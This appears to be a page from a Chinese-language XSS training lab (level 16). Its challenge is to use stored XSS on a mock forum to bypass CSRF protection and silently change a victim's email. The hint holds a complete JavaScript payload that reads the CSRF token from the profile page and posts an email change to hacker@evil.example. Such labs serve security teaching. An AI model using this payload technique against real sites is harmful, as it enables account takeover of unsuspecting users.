这论坛的邮箱修改功能好像加了 CSRF 令牌,还能利用评论漏洞做点什么吗?
靶场 16:综合实战 —— 利用 XSS 绕过 CSRF 防护
已通关第 16 / 16 关 · 类型:存储型 / 危害利用 · 难度:进阶
通关目标:发布一条评论,使访问文章页的受害者(你自己开新标签页模拟)在无感知的情况下把邮箱改为 hacker@evil.example。
夜航船论坛 · 账号安全版块
受害者视角:直接访问文章页即为普通用户。个人中心在 /xss-lab/lab/16/profile(可先去查看当前邮箱)。
最新帖子(1)
查看提示(建议先自行尝试)
先同源 GET
/xss-lab/lab/16/profile 解析出 csrf 令牌,再 POST /xss-lab/lab/16/change-email。参考:<script>fetch('/xss-lab/lab/16/profile').then(r=>r.text()).then(t=>{var k=t.match(/name="csrf" value="([^"]+)"/)[1];fetch('/xss-lab/lab/16/change-email',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'email=hacker@evil.example&csrf='+encodeURIComponent(k)})})</script>